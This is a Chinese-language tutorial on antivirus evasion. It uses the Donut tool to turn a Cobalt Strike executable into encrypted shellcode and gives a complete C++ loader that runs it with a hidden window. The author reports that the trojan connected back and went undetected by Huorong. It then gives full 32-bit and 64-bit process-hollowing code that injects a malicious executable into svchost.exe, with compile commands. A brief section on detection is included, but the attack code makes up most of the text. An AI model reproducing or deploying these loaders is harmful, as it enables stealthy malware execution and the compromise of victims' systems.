Donut免杀以及进程空心化分析
Donut免杀以及进程空心化分析
Donut配合shellcode加载器实现免杀
其实Dount配合加载器实现免杀的方式和加载器加载bin文件的方式实现免杀的思路相同,但是使用dount之后,我们可以自定义的去写出我们想要的bin文件,比如cs生成的payload(exe)格式。通过donut将其转换为一个加密的bin文件,能够在一定程度上去绕过杀软的检测。
dount使用方法:
-i <路径> (Input):指定你需要转换的原始文件。
-a <架构> (Architecture):控制生成的 Shellcode 位数。在现代 64 位系统对抗中,务必使用 -a 2 生成纯 amd64 载荷,以确保与你的 64 位 C++ 加载器完全匹配。如果需要兼容 32 位和 64 位,可以使用 -a 3(默认值)。
-o <文件名> (Output):自定义输出的 .bin 文件名称。如果不加此参数,Donut 会默认生成一个名为 loader.bin 的文件。
-e <等级> (Entropy):控制载荷的加密与混淆强度。实战中强烈推荐使用 -e 3。这会让 Donut 在内部使用随机名称和强对称加密算法对你的载荷进行加密,能极大程度摧毁原文件的静态特征。
-x <动作> (Exit Behavior):控制载荷运行结束后的退出行为。推荐使用 -x 1(仅退出当前线程),这样当目标程序执行完毕后,你的宿主加载器程序不会跟着一起自杀,非常适合维持进程存活。首先要准备一个exe程序,输入以下命令:
.\donut.exe -i OpenCalc.exe -a 2 -o my_shellcode.bin木马免杀实现:
ClickLoader.cpp该代码点击,立即执行my_shellcode.bin文件,来实现木马免杀上线:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// 核心指令:强制隐藏编译后程序的黑色控制台窗口
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
int main() {
// 1. 硬编码你要加载的 Shellcode 文件名
const char* target_file = "my_shellcode.bin";
// 2. 尝试打开同目录下的 bin 文件
FILE *fp = fopen(target_file, "rb");
if (!fp) {
// 如果文件不存在,直接静默退出,不产生任何弹窗报错
return 1;
}
fseek(fp, 0, SEEK_END);
long file_size = ftell(fp);
fseek(fp, 0, SEEK_SET);
if (file_size <= 0) {
fclose(fp);
return 1;
}
unsigned char *shellcode = (unsigned char *)malloc(file_size);
if (!shellcode) {
fclose(fp);
return 1;
}
fread(shellcode, 1, file_size, fp);
fclose(fp);
// 3. 隐蔽申请 RW (读写) 权限的内存
LPVOID exec_mem = VirtualAlloc(NULL, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!exec_mem) {
free(shellcode);
return 1;
}
// 4. 数据灌入并安全清除堆内存中的残留载荷
RtlMoveMemory(exec_mem, shellcode, file_size);
SecureZeroMemory(shellcode, file_size);
free(shellcode);
// 5. 权限翻转:RW 切换至 RX (可读可执行)
DWORD old_protect;
VirtualProtect(exec_mem, file_size, PAGE_EXECUTE_READ, &old_protect);
// 6. 执行流移交:创建本地线程静默触发载荷
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}我们在同一文件夹下放置my_shellcode.bin文件,启动ClickLoader.exe即可自动执行my_shellcode.bin文件
此时只有192.168.30.111,我们在目标机器下执行ClickLoader.exe
执行后,木马立马上线。我们查看目标机器进程:
此时还是能够看到后台加载进程,存在一定的明显性,我们将在后期的学习中不断地进行更新和优化。我们使用火绒对我们的木马文件进行安全审查:
均为安全,未查出木马。
未来方向:
通过进程注入来实现木马免杀,就是将Shellcode注入到合法进程内部执行。
参考文章:https://attack.mitre.org/techniques/T1055/012/
进程空心化 (Process Hollowing)
进程空心化,攻击者利用该技术将恶意代码植入到计算机系统上运行的合法进程中。这种技术通常用于绕过安全措施,获取对系统的未经授权的访问权限。进程空心化指的是掏空合法进程的内存空间并将其替换为恶意代码的方法。
理解过程空心化
进程空心化是一种设计多个步骤的复杂技术。第一步是选择目标进程,通常是系统上运行的合法进程。攻击者随后挂起目标进程并掏空其内存空间,从而有效地创建一个空壳,并在其插入恶意代码。
如何选择目标
目标进程的选择是进程空心化技术中的关键步骤。攻击者通常会选择系统中常见的、不易引起怀疑的进程。攻击者通常选择常见的、不易引起怀疑的进程。例如,攻击者可能会选择与常用应用程序关联的进程。
攻击者也可能选择具有执行所需恶意活动所需权限的进程。例如,如果攻击者想要修改系统设置,他们可能会选择具有管理员权限的进程。
内存空心化
进程空心化技术的下一步是掏空目标进程的内存空间。包括挂起目标进程,然后修改其内存空间,为恶意代码创建一个空壳。通常是通过底层系统调用来实现的,攻击者可以通过这些调用直接操作进程的内存空间。
内存空心化是一项精细的操作,需要对目标进程和操作系统有深入的了解,如果操作不当,可能会导致目标进程崩溃,从而引起用户和系统管理员的注意。
隐匿与规避
进程空心化技术的关键优势之一在于能够逃避安全软件的检测。由于恶意代码运行在合法进程的上下文中,因此它通常可以绕过检测和阻止恶意进程的安全措施。
此外,由于恶意代码是在目标进程的内存空间中执行的,因此它通常可以绕过通过查找恶意文件的安全软件的检测。这使得进程空心化成为一种特别隐蔽且有效的恶意代码执行技术。
进程空心化的检测和预防
由于进程空心化攻击具有较强的隐蔽性以及合法利用进程执行恶意代码,因此预防和检测此类攻击非常有难度。但是,仍然有一些手段可以降低空心化行为的发生。
通过使用能够检测进程异常行为的安全软件,这些异常行为包括:
异常的内存使用、意外的网络连接或异常的系统调用。通过监控这些异常行为迹象,就有可能检测到空心化的攻击。
行为分析
行为分析是某些安全软件常采用的检测恶意活动的一种技术。通过监控进程的行为并寻找恶意活动的迹象来实现这一目标。例如:
某个进程突然开始进行异常的系统调用或者网络连接,就可能存在空心化攻击的发生。
行为分析是检测进程空心化攻击的有效方法,但是需要对正常流程有深入的了解。此外,由于需要持续监控和分析流程行为,因此也相当耗费资源。
内存取证
内存取证是另一种可用于检测进程空心化的技术,通过分析进程的内存空间来查找恶意活动的迹象。例如,如果进程的内存空间包含与磁盘上不匹配的代码,这可能也表明该进程正在收到进程空心化的攻击。
但由于内存取证需要专门的知识和工具,涉及到分析大量的数据,可能会耗费很多的时间。
实践
上面的都是一些理论,当然理论也很重要,给我们提供了强有力的支持和方向,下面我将要说的就是进程空心化具体的实践过程:
创建空心化过程
首先,我们需要创建目标进程,该进程将被掏空。在本文中,"svchost.exe"将是目标进程。下图是我们将会用到的C库
创建一个处于挂起状态的svchost.exe进程,为后续的掏空工作做准备。下面这段代码首先创建挂起的目标进程
int main() {
LPSTARTUPINFOA target_si = new STARTUPINFOA();
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
CONTEXT c;
//#########################################################################
//create Target image for hollowing
if (CreateProcessA(
(LPSTR)"C:\\Windows\\System32\\svchost.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED,
NULL,
NULL,
target_si,
target_pi) == 0) {
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;
}我们使用x64dbg在CreatProcessA函数处第一个断点,步过ret后查看svchost.exe进程:
可以看到,此时成功的将svchost.exe挂起。
打开恶意执行文件:
// 打开恶意程序文件
hMaliciousCode = CreateFileA(
(LPCSTR)"C:\Users\Administrator\Desktop\usable_troal\HellsGateLoader.exe",
GENERIC_READ, // 只想读
FILE_SHARE_READ, // 允许其他进程也读
NULL,
OPEN_EXISTING, // 只打开已存在的文件,不存在就失败
FILE_ATTRIBUTE_NORMAL,
NULL);打开要注入的 HellsGateLoader.exe,拿到文件句柄。
现在我们知道了文件的位置,就可以使用VirtualAlloc()为该文件分配内存。VirtualAlloc 的一个参数是 size dwSize,因此,首先我们需要运行 virtualalloc GetFileSize()来获取恶意文件的大小,然后就可以分配内存。请确保为该flProtect成员授予读写权限。VirtualAlloc 现在会返回新分配内存的基地址。
maliciousFileSize = GetFileSize(hMaliciousCode, NULL);
if (maliciousFileSize == INVALID_FILE_SIZE) {
cout << "[!] Failed to get malicious file size. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Malicious file size: " << maliciousFileSize << " bytes." << endl;
// 分配内存存储恶意PE文件
pMaliciousImage = VirtualAlloc(
NULL,
maliciousFileSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pMaliciousImage) {
cout << "[!] Failed to allocate memory for malicious file. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}下一步我们就可以使用ReadFile()从CreateFileA获取的句柄读取恶意文件,并使用从 VirtualAlloc 获取的指针将其写入新分配的内存中,然后关闭源句柄
if (!ReadFile(
hMaliciousCode,
pMaliciousImage,
maliciousFileSize,
&numberOfBytesRead,
NULL) || numberOfBytesRead != maliciousFileSize) {
cout << "[!] Failed to read malicious file into memory. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
CloseHandle(hMaliciousCode);
cout << "[+] Malicious file read into memory at: 0x" << hex << pMaliciousImage << dec << endl;内存置空
这一步主要是将VirtualAlloc分配的内存置空,为我们后面填充数据做准备。
hNtdllBase = GetModuleHandleA("ntdll.dll");
if (!hNtdllBase) {
cout << "[!] Failed to get ntdll handle. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");
if (!pZwUnmapViewOfSection) {
cout << "[!] Failed to get ZwUnmapViewOfSection address. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
lUnmapResult = pZwUnmapViewOfSection(target_pi->hProcess, pTargetImageBaseAddress);
if (lUnmapResult != 0) {
cout << "[!] ZwUnmapViewOfSection failed. NT Status: 0x" << hex << lUnmapResult << dec << endl;
goto CLEANUP;
}
cout << "[+] Target process memory unmapped successfully." << endl;进程空心化
为了置空我们的及昵称,我们需要知道目标进程的基址。也就是进程在内存中的起始位可执行代码所在的位置。我们需要通过去修改入口,使其指向恶意代码的地址,以便在进程运行时执行。我们可以使用GetThreadContext()的API获取线程上下文。
我自己编写了一个查找基址的脚本,方便我们使用:
#include <windows.h>
#include <stdio.h>
#include <intrin.h>
int main() {
// 解决控制台中文乱码问题
SetConsoleOutputCP(65001);
printf("=== PEB 链表遍历实验:寻找 ntdll.dll ===\n");
// 步骤 1:拿到当前进程的 PEB 指针
unsigned char* peb = (unsigned char*)__readgsqword(0x60);
// 步骤 2:在 PEB 偏移 0x18 的地方,拿到 Ldr (账本) 的指针
unsigned char* ldr = *(unsigned char**)(peb + 0x18);
// 步骤 3:在 Ldr 偏移 0x20 的地方,拿到 InMemoryOrderModuleList 链表的头指针
unsigned char* listHead = ldr + 0x20;
// 步骤 4:开始遍历链表
// listHead 指向的是第一个节点(也就是咱们自己的 exe)
unsigned char* currentEntry = *(unsigned char**)listHead;
// 顺着链表往下爬一个节点,来到第二个节点(ntdll.dll)
currentEntry = *(unsigned char**)currentEntry;
// 步骤 5:在第二个节点偏移 0x20 的地方,提取 DllBase (模块基址)
unsigned char* ntdllBase = *(unsigned char**)(currentEntry + 0x20);
printf("[+] 成功突破 API 封锁!\n");
printf("[+] ntdll.dll 的内存基址为: 0x%p\n", ntdllBase);
printf("===========================================\n");
system("pause");
return 0;
}现在我们可以开始进行掏空可执行文件的过程,首先我们要去获取ntdll.dll的handler,然后利用该handler获取目标进程的地址ZwUnmapViewOfFile().该函数将释放目标进程中的内存,从而允许我们将恶意文件写入该内存地址。
hNtdllBase = GetModuleHandleA("ntdll.dll");
if (!hNtdllBase) {
cout << "[!] Failed to get ntdll handle. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");
if (!pZwUnmapViewOfSection) {
cout << "[!] Failed to get ZwUnmapViewOfSection address. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
lUnmapResult = pZwUnmapViewOfSection(target_pi->hProcess, pTargetImageBaseAddress);
if (lUnmapResult != 0) {
cout << "[!] ZwUnmapViewOfSection failed. NT Status: 0x" << hex << lUnmapResult << dec << endl;
goto CLEANUP;
}
cout << "[+] Target process memory unmapped successfully." << endl;我们在ZwUnmapViewOfSection打一个断点,查看我们掏空进程的过程:
将挂起的svchost加入到附加进程,查看其内存情况:
可以看到svchost.exe的基址为:00007FF6DD620000。我们查看内存情况:
我们将F8步过到ret,结束调试后,内存立即被清零,表示空心化成功
在空心进程中分配内存
为了将恶意文件写入空心进程,我们需要使用virtualAlloc来使内存可写,告知操作系统我们需要预留多少的空间,但是为了使用virtualAlloc,我们需要去知道这个恶意代码执行所需要占用多大的空间。
代码如下:
pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;
if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE) {
cout << "[!] Invalid DOS header in malicious file." << endl;
goto CLEANUP;
}
pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew);
if (pNTHeaders->Signature != IMAGE_NT_SIGNATURE) {
cout << "[!] Invalid NT header in malicious file." << endl;
goto CLEANUP;
}
sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;
cout << "[+] Malicious Image Size: " << sizeOfMaliciousImage << " bytes." << endl;
cout << "[+] Malicious Preferred Image Base: 0x" << hex << pNTHeaders->OptionalHeader.ImageBase << dec << endl;现在我们就可以使用VirtualAllocEx()函数来分配内存,但是我们需要保证这块内存分配具有RWX权限:
pHollowAddress = VirtualAllocEx(
target_pi->hProcess,
pTargetImageBaseAddress,
sizeOfMaliciousImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pHollowAddress) {
cout << "[!] Failed to allocate memory in target process. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Allocated memory in target process at: 0x" << hex << pHollowAddress << dec << endl;将恶意文件写入目标
PE文件的结构如下图所示,我们首先需要写入文件头,然后才能写入包含所有可执行程序的各个节。
我们使用WriteProcessMemory()将头部信息写入内存:
if (!WriteProcessMemory(
target_pi->hProcess,
pTargetImageBaseAddress,
pMaliciousImage,
pNTHeaders->OptionalHeader.SizeOfHeaders,
NULL)) {
cout << "[!] Failed to write PE headers to target. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] PE headers written to target process." << endl;然后我们通过将修改进程上下文,将进程ID指向恶意代码入口点:
#ifdef _WIN64
c.Rax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
#else
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
#endif
if (!SetThreadContext(target_pi->hThread, &c)) {
cout << "[!] Failed to set thread context. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
// 恢复线程执行
dwResumeResult = ResumeThread(target_pi->hThread);
if (dwResumeResult == (DWORD)-1) {
cout << "[!] Failed to resume thread. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Thread resumed. Malicious code executed successfully!" << endl;
// 等待用户输入
system("pause");
CLEANUP:在最后,写了一个清洁代码,释放所有申请的系统资源、关闭句柄、清理内存,避免 “资源泄漏” 或 “僵尸进程”:
if (hMaliciousCode != INVALID_HANDLE_VALUE) CloseHandle(hMaliciousCode);
if (pMaliciousImage) VirtualFree(pMaliciousImage, 0, MEM_RELEASE);
if (target_pi->hThread) CloseHandle(target_pi->hThread);
if (target_pi->hProcess) {
TerminateProcess(target_pi->hProcess, 0);
CloseHandle(target_pi->hProcess);
}
delete target_si;
delete target_pi;
return 0;下面是原作者在Github发布的脚本:
#include<Windows.h>
#include<stdio.h>
#include<iostream>
#pragma comment(lib, "ntdll.lib")
using namespace std;
typedef LONG(NTAPI* pfnZwUnmapViewOfSection)(HANDLE, PVOID);
int main() {
LPSTARTUPINFOA target_si = new STARTUPINFOA();
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
CONTEXT c;
//#########################################################################
//create Target image for hollowing
if (CreateProcessA(
(LPSTR)"C:\\Windows\\System32\\svchost.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED,
NULL,
NULL,
target_si,
target_pi) == 0) {
cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
return 1;
}
//#########################################################################
// get handle to Malicious program
HANDLE hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\Users\\ryan\\Desktop\\repos\\MalwareProcess\\Debug\\malwareProcess.exe",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
cout << "[+] Process PID-> 0x" << target_pi->dwProcessId << endl;
if (hMaliciousCode == INVALID_HANDLE_VALUE) {
cout << "[!] Failed to open Malicious file: " << GetLastError()<<endl;
TerminateProcess(target_pi->hProcess, 0);
}
cout << "[+] Malicious file opened." << endl;
//#########################################################################
//Get size of Malicious process in bytes to use in Virtual Alloc
DWORD maliciousFileSize = GetFileSize(hMaliciousCode, 0);
cout << "[+] Malicious file size: " << maliciousFileSize << " bytes." << endl;
//#########################################################################
//Allocate memory for Malicious process
PVOID pMaliciousImage = VirtualAlloc(
NULL,
maliciousFileSize,
0x3000,
0x04
);
//#########################################################################
//Read Malicious exe and write into allocated memory with ReadFile()
DWORD numberOfBytesRead;
if (!ReadFile(
hMaliciousCode,
pMaliciousImage,
maliciousFileSize,
&numberOfBytesRead,
NULL
)) {
cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
TerminateProcess(target_pi->hProcess, 0);
return 1;
}
CloseHandle(hMaliciousCode);
cout << "[+] Read malicious exe into memory at: 0x" << pMaliciousImage << endl;
//#########################################################################
//get thread context to access register values EAX, EBX
c.ContextFlags = CONTEXT_INTEGER;
GetThreadContext(target_pi->hThread, &c);
//Find base address of Target process
PVOID pTargetImageBaseAddress;
ReadProcessMemory(
target_pi->hProcess,
(PVOID)(c.Ebx + 8),
&pTargetImageBaseAddress,
sizeof(PVOID),
0
);
cout << "[+] Target Image Base Address : 0x" << pTargetImageBaseAddress << endl;
//#########################################################################
//Hollow process
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll");
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");
DWORD dwResult = pZwUnmapViewOfSection(target_pi->hProcess, pTargetImageBaseAddress);
if (dwResult) {
cout << "[!] Unmapping failed." << endl;
TerminateProcess(target_pi->hProcess, 1);
return 1;
}
//cout << "Result: " << dwResult << endl;
cout << "[+] Process successfully hollowed at Image Base: 0x"<<pTargetImageBaseAddress<< endl;
//#########################################################################
//get Malicious image size from NT Headers
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew);
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;
cout << "[+] Malicious Image Base Address: 0x"<<pNTHeaders->OptionalHeader.ImageBase<<endl;
PVOID pHollowAddress = VirtualAllocEx(
target_pi->hProcess,
pTargetImageBaseAddress,
sizeOfMaliciousImage,
0x3000,
0x40
);
if (pHollowAddress == NULL) {
cout << "[!] Memory allocation in target process failed. Error: "<<GetLastError() << endl;
TerminateProcess(target_pi->hProcess, 0);
return 1;
}
cout << "[+] Memory allocated in target at: 0x" << pHollowAddress << endl;
//#########################################################################
//write malicious PE headers into target
if (!WriteProcessMemory(
target_pi->hProcess,
pTargetImageBaseAddress,
pMaliciousImage,
pNTHeaders->OptionalHeader.SizeOfHeaders,
NULL
)) {
cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}
cout << "[+] Headers written to memory." << endl;
//#########################################################################
//write malicious PE sections into target
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(
target_pi->hProcess,
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress),
(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
NULL
);
//cout << "[+] Section: " << pSectionHeader->Name <<" written to memory."<< endl;
}
cout << "[+] Sections written to memory." << endl;
//#########################################################################
//change victim entry point (EAX thread context) to malicious entry point & resume thread
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(target_pi->hThread, &c);
ResumeThread(target_pi->hThread);
system("pause");
TerminateProcess(target_pi->hProcess, 0);
return 0;
}但是由于这段代码只适用于32环境,我们在其思路上优化代码:
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <winnt.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "kernel32.lib")
using namespace std;
// 定义NTAPI函数类型(兼容32/64位)
typedef LONG(NTAPI* pfnZwUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
int main() {
// ==============================================
// 所有变量提前初始化,避免goto跳过初始化
// ==============================================
// 进程/线程相关
LPSTARTUPINFOA target_si = new STARTUPINFOA();
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
CONTEXT c = { 0 };
HANDLE hMaliciousCode = INVALID_HANDLE_VALUE;
// 恶意文件相关
DWORD maliciousFileSize = 0;
PVOID pMaliciousImage = NULL;
DWORD numberOfBytesRead = 0;
// 上下文/基地址相关
PVOID pTargetImageBaseAddress = NULL;
HMODULE hNtdllBase = NULL;
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = NULL;
LONG lUnmapResult = 0;
// PE结构相关
PIMAGE_DOS_HEADER pDOSHeader = NULL;
PIMAGE_NT_HEADERS pNTHeaders = NULL;
DWORD sizeOfMaliciousImage = 0;
PVOID pHollowAddress = NULL;
// 线程恢复相关
DWORD dwResumeResult = 0;
// 初始化结构体
ZeroMemory(target_si, sizeof(STARTUPINFOA));
ZeroMemory(target_pi, sizeof(PROCESS_INFORMATION));
target_si->cb = sizeof(STARTUPINFOA);
// #########################################################################
// 1. 创建挂起的目标进程(svchost.exe)
// #########################################################################
if (!CreateProcessA(
(LPSTR)"C:\\Windows\\System32\\svchost.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED,
NULL,
NULL,
target_si,
target_pi)) {
cout << "[!] Failed to create Target process. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Target process created successfully. PID: 0x" << hex << target_pi->dwProcessId << dec << endl;
// #########################################################################
// 2. 打开恶意程序文件
// #########################################################################
hMaliciousCode = CreateFileA(
(LPCSTR)"C:\\Users\\ryan\\Desktop\\repos\\MalwareProcess\\Debug\\malwareProcess.exe",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hMaliciousCode == INVALID_HANDLE_VALUE) {
cout << "[!] Failed to open Malicious file. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Malicious file opened successfully." << endl;
// #########################################################################
// 3. 获取恶意文件大小并分配内存
// #########################################################################
maliciousFileSize = GetFileSize(hMaliciousCode, NULL);
if (maliciousFileSize == INVALID_FILE_SIZE) {
cout << "[!] Failed to get malicious file size. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Malicious file size: " << maliciousFileSize << " bytes." << endl;
// 分配内存存储恶意PE文件
pMaliciousImage = VirtualAlloc(
NULL,
maliciousFileSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!pMaliciousImage) {
cout << "[!] Failed to allocate memory for malicious file. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
// #########################################################################
// 4. 读取恶意文件到内存
// #########################################################################
if (!ReadFile(
hMaliciousCode,
pMaliciousImage,
maliciousFileSize,
&numberOfBytesRead,
NULL) || numberOfBytesRead != maliciousFileSize) {
cout << "[!] Failed to read malicious file into memory. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
CloseHandle(hMaliciousCode);
cout << "[+] Malicious file read into memory at: 0x" << hex << pMaliciousImage << dec << endl;
// #########################################################################
// 5. 获取目标进程线程上下文(兼容32/64位)
// #########################################################################
c.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(target_pi->hThread, &c)) {
cout << "[!] Failed to get thread context. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
// 读取目标进程的PE基地址
#ifdef _WIN64
if (!ReadProcessMemory(
target_pi->hProcess,
(PVOID)(c.Rbx + 8),
&pTargetImageBaseAddress,
sizeof(PVOID),
NULL)) {
#else
if (!ReadProcessMemory(
target_pi->hProcess,
(PVOID)(c.Ebx + 8),
&pTargetImageBaseAddress,
sizeof(PVOID),
NULL)) {
#endif
cout << "[!] Failed to read target image base address. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Target Image Base Address: 0x" << hex << pTargetImageBaseAddress << dec << endl;
// #########################################################################
// 6. 掏空目标进程内存(ZwUnmapViewOfSection)
// #########################################################################
hNtdllBase = GetModuleHandleA("ntdll.dll");
if (!hNtdllBase) {
cout << "[!] Failed to get ntdll handle. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hNtdllBase, "ZwUnmapViewOfSection");
if (!pZwUnmapViewOfSection) {
cout << "[!] Failed to get ZwUnmapViewOfSection address. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
lUnmapResult = pZwUnmapViewOfSection(target_pi->hProcess, pTargetImageBaseAddress);
if (lUnmapResult != 0) {
cout << "[!] ZwUnmapViewOfSection failed. NT Status: 0x" << hex << lUnmapResult << dec << endl;
goto CLEANUP;
}
cout << "[+] Target process memory unmapped successfully." << endl;
// #########################################################################
// 7. 解析恶意PE文件的NT头
// #########################################################################
pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;
if (pDOSHeader->e_magic != IMAGE_DOS_SIGNATURE) {
cout << "[!] Invalid DOS header in malicious file." << endl;
goto CLEANUP;
}
pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew);
if (pNTHeaders->Signature != IMAGE_NT_SIGNATURE) {
cout << "[!] Invalid NT header in malicious file." << endl;
goto CLEANUP;
}
sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage;
cout << "[+] Malicious Image Size: " << sizeOfMaliciousImage << " bytes." << endl;
cout << "[+] Malicious Preferred Image Base: 0x" << hex << pNTHeaders->OptionalHeader.ImageBase << dec << endl;
// #########################################################################
// 8. 在目标进程中分配内存
// #########################################################################
pHollowAddress = VirtualAllocEx(
target_pi->hProcess,
pTargetImageBaseAddress,
sizeOfMaliciousImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!pHollowAddress) {
cout << "[!] Failed to allocate memory in target process. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Allocated memory in target process at: 0x" << hex << pHollowAddress << dec << endl;
// #########################################################################
// 9. 写入恶意PE头到目标进程
// #########################################################################
if (!WriteProcessMemory(
target_pi->hProcess,
pTargetImageBaseAddress,
pMaliciousImage,
pNTHeaders->OptionalHeader.SizeOfHeaders,
NULL)) {
cout << "[!] Failed to write PE headers to target. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] PE headers written to target process." << endl;
// #########################################################################
// 10. 写入恶意PE节区到目标进程
// #########################################################################
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(
(LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
if (pSectionHeader->SizeOfRawData == 0) continue;
if (!WriteProcessMemory(
target_pi->hProcess,
(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress),
(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData),
pSectionHeader->SizeOfRawData,
NULL)) {
cout << "[!] Failed to write section " << pSectionHeader->Name << ". Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
}
cout << "[+] All PE sections written to target process." << endl;
// #########################################################################
// 11. 修改线程上下文,指向恶意代码入口点
// #########################################################################
#ifdef _WIN64
c.Rax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
#else
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint);
#endif
if (!SetThreadContext(target_pi->hThread, &c)) {
cout << "[!] Failed to set thread context. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
// 恢复线程执行
dwResumeResult = ResumeThread(target_pi->hThread);
if (dwResumeResult == (DWORD)-1) {
cout << "[!] Failed to resume thread. Last Error: " << GetLastError() << endl;
goto CLEANUP;
}
cout << "[+] Thread resumed. Malicious code executed successfully!" << endl;
// 等待用户输入
system("pause");
CLEANUP:
// #########################################################################
// 12. 统一清理资源
// #########################################################################
if (hMaliciousCode != INVALID_HANDLE_VALUE) CloseHandle(hMaliciousCode);
if (pMaliciousImage) VirtualFree(pMaliciousImage, 0, MEM_RELEASE);
if (target_pi->hThread) CloseHandle(target_pi->hThread);
if (target_pi->hProcess) {
TerminateProcess(target_pi->hProcess, 0);
CloseHandle(target_pi->hProcess);
}
delete target_si;
delete target_pi;
return 0;
}命令行编译方法:
编译 64 位版本
g++ -m64 -o process.exe process.cpp -lntdll -lkernel32 -luser32 -static
编译 32 位版本
